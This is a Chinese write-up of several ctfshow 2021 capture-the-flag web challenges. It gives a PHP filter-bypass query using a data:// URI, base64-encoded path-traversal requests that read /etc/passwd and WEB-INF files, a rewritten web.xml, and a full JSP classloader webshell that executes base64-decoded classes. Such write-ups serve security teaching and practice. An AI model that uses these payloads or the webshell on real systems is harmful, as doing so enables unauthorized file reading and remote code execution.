[PHP知识库][ctfshow 2021摆烂杯] WEB部分 writeup

官方的wp：https://qgieod1s9b.feishu.cn/docs/doccnC4EpMhSv1Ni6mbL7BQQdBc

web签到

请输入三个整数A、B、C，使得：A3+B3+C3=114，目前是无解的

直接输入字母会报hacker，直接输数字0也不可以，但是在ABC中还可以用+-*/以及()进行计算（如果最后得到的不是正常的数字，会报500 Internal Server Error），所以利用()进行闭合，就可以得到114


A=1&B=-1&C=113)+(1 就可以啦

一行代码

<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2021-11-18 21:25:22
# @Last Modified by:   h1xa
# @Last Modified time: 2021-11-18 22:14:12
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/



echo !(!(include "flag.php")||(!error_reporting(0))||stripos($_GET['filename'],'.')||($_GET['id']!=0)||
(strlen($_GET['content'])<=7)||(!eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow"))||substr($_GET['content'],0,1)=='w'||
(file_get_contents($_GET['filename'],'r') !== "welcome2ctfshow"))?$flag:str_repeat(highlight_file(__FILE__), 0);

理一理代码，需要满足以下条件

stripos($_GET['filename'],'.')===False

$_GET['id']=0

strlen($_GET['content'])>7

eregi("ctfsho".substr($_GET['content'],0,1),"ctfshow")
substr($_GET['content'],0,1)=='w'===False
//可以用通配符.或者*绕过

file_get_contents($_GET['filename'],'r') == "welcome2ctfshow"

payload

?filename=data://text/plain,welcome2ctfshow&id=0&content=.79595959595959gdfgfd

黑客网站

登陆不了

漏洞居然是在验证码图片这里，我好傻
任意文件读取

/v/c?r=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA== 

1.读一些敏感文件

/v/c?r=Li4vLi4vLi4vV0VCLUlORi93ZWIueG1s 
../../../WEB-INF/web.xml

<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0" 
    xmlns="http://java.sun.com/xml/ns/javaee" 
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
    xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 
    http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
  <display-name></display-name>
    <filter>
        <filter-name>routerFilter</filter-name>
        <filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>routerFilter</filter-name>
        <url-pattern>/404.html</url-pattern>
        <url-pattern>/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
    </filter-mapping>
    <error-page>
        <error-code>404</error-code>
        <location>/404.html</location>
    </error-page>
    <error-page>
        <error-code>500</error-code>
        <location>/404.html</location>
    </error-page>
    <session-config>
        <cookie-config>
            <name>ctfshow</name>
            <http-only>true</http-only>
        </cookie-config>
        <tracking-mode>COOKIE</tracking-mode>
    </session-config>
    <error-page>
        <error-code>400</error-code>
        <location>/404.html</location>
    </error-page>
</web-app>

…/…/…/WEB-INF/pom.xml

<project xmlns="http://maven.apache.org/POM/4.0.0" 
   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 
   http://maven.apache.org/maven-v4_0_0.xsd">
   <modelVersion>4.0.0</modelVersion>
   <groupId>com.ctfshow</groupId>
   <artifactId>FlagShop</artifactId>
   <packaging>jar</packaging>
   <version>1.0-SNAPSHOT</version>
   <name>FlagShop</name>
   <url>http://maven.apache.org</url>
 
   <dependencies>

 
      <dependency>
         <groupId>ctfshow</groupId>
         <artifactId>tiny-framework</artifactId>
         <scope>system</scope>
         <version>1.1</version>
         <systemPath>${basedir}\lib\tiny-framework-1.0.1.jar</systemPath>
      </dependency>
   </dependencies>
 
</project>

发现框架${basedir}\lib\tiny-framework-1.0.1.jar，进行读取

/v/c?r=Li4vLi4vLi4vV0VCLUlORi9saWIvdGlueS1mcmFtZXdvcmstMS4wLjEuamFy

注意下载下来的jar文件末尾有多余的0，清理至下图

反编译并审计找到路由配置，再把这里的控制器/…/config/controller.properties读一下

/v/c?r=Li4vLi4vLi4vV0VCLUlORi9jb25maWcvY29udHJvbGxlci5wcm9wZXJ0aWVz

这个应该是index的控制器

下载index的控制器classes/com/ctfshow/controller/Index.class

/WEB-INF/classes/：含了站点所有用的 class 文件，包括 servlet class 和非servlet class，他们不能包含在 .jar文件中

/v/c?r=Li4vLi4vLi4vV0VCLUlORi9jbGFzc2VzL2NvbS9jdGZzaG93L2NvbnRyb2xsZXIvSW5kZXguY2xhc3M=

反编译发现有任意文件写入的漏洞

FileUtil.writeFile(String.valueOf(this.request.server().path()) + "../" + username, password);

由于文件名限制为字母数字和.，所以并不能跨目录写文件，只能写到classes目录下

2.利用web.xml写jsp🐎

利用tomcat的热加载机制，重写web.xml，再写个对应的jsp马，写反弹shell即可

username=web.xml&password=<?xml version="1.0" encoding="UTF-8"?>
<web-app version="3.0" 
        xmlns="http://java.sun.com/xml/ns/javaee" 
        xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 
        xsi:schemaLocation="http://java.sun.com/xml/ns/javaee 
        http://java.sun.com/xml/ns/javaee/web-app_3_0.xsd">
  <display-name></display-name>
    <filter>
        <filter-name>routerFilter</filter-name>
        <filter-class>com.ctfshow.filter.impl.RouterFilterImpl</filter-class>
    </filter>
    <filter-mapping>
        <filter-name>routerFilter</filter-name>
        <url-pattern>/404.html</url-pattern>
        <url-pattern>/s/*</url-pattern>
        <dispatcher>REQUEST</dispatcher>
    </filter-mapping>
<servlet>  
<servlet-name>ctfshow</servlet-name>  //新增一个servlet来映射到WEB-INF下的jsp文件
<jsp-file>/WEB-INF/1.jsp</jsp-file>  //路径ctfshow访问当前目录下的1.jsp
</servlet>  
<servlet-mapping>  
<servlet-name>ctfshow</servlet-name>  
<url-pattern>/ctfshow</url-pattern>  
</servlet-mapping>  </web-app>

然后上传一个jsp木马（密码passwd）

<%!
    class U extends ClassLoader {
        U(ClassLoader c) {
            super(c);
        }
        public Class g(byte[] b) {
            return super.defineClass(b, 0, b.length);
        }
    }
 
    public byte[] base64Decode(String str) throws Exception {
        try {
            Class clazz = Class.forName("sun.misc.BASE64Decoder");
            return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
        } catch (Exception e) {
            Class clazz = Class.forName("java.util.Base64");
            Object decoder = clazz.getMethod("getDecoder").invoke(null);
            return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
        }
    }
%>
<%
    String cls = request.getParameter("passwd");
    if (cls != null) {
        new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
    }
%>

注意要url编码，因为有换行

蚁剑连接，得到flag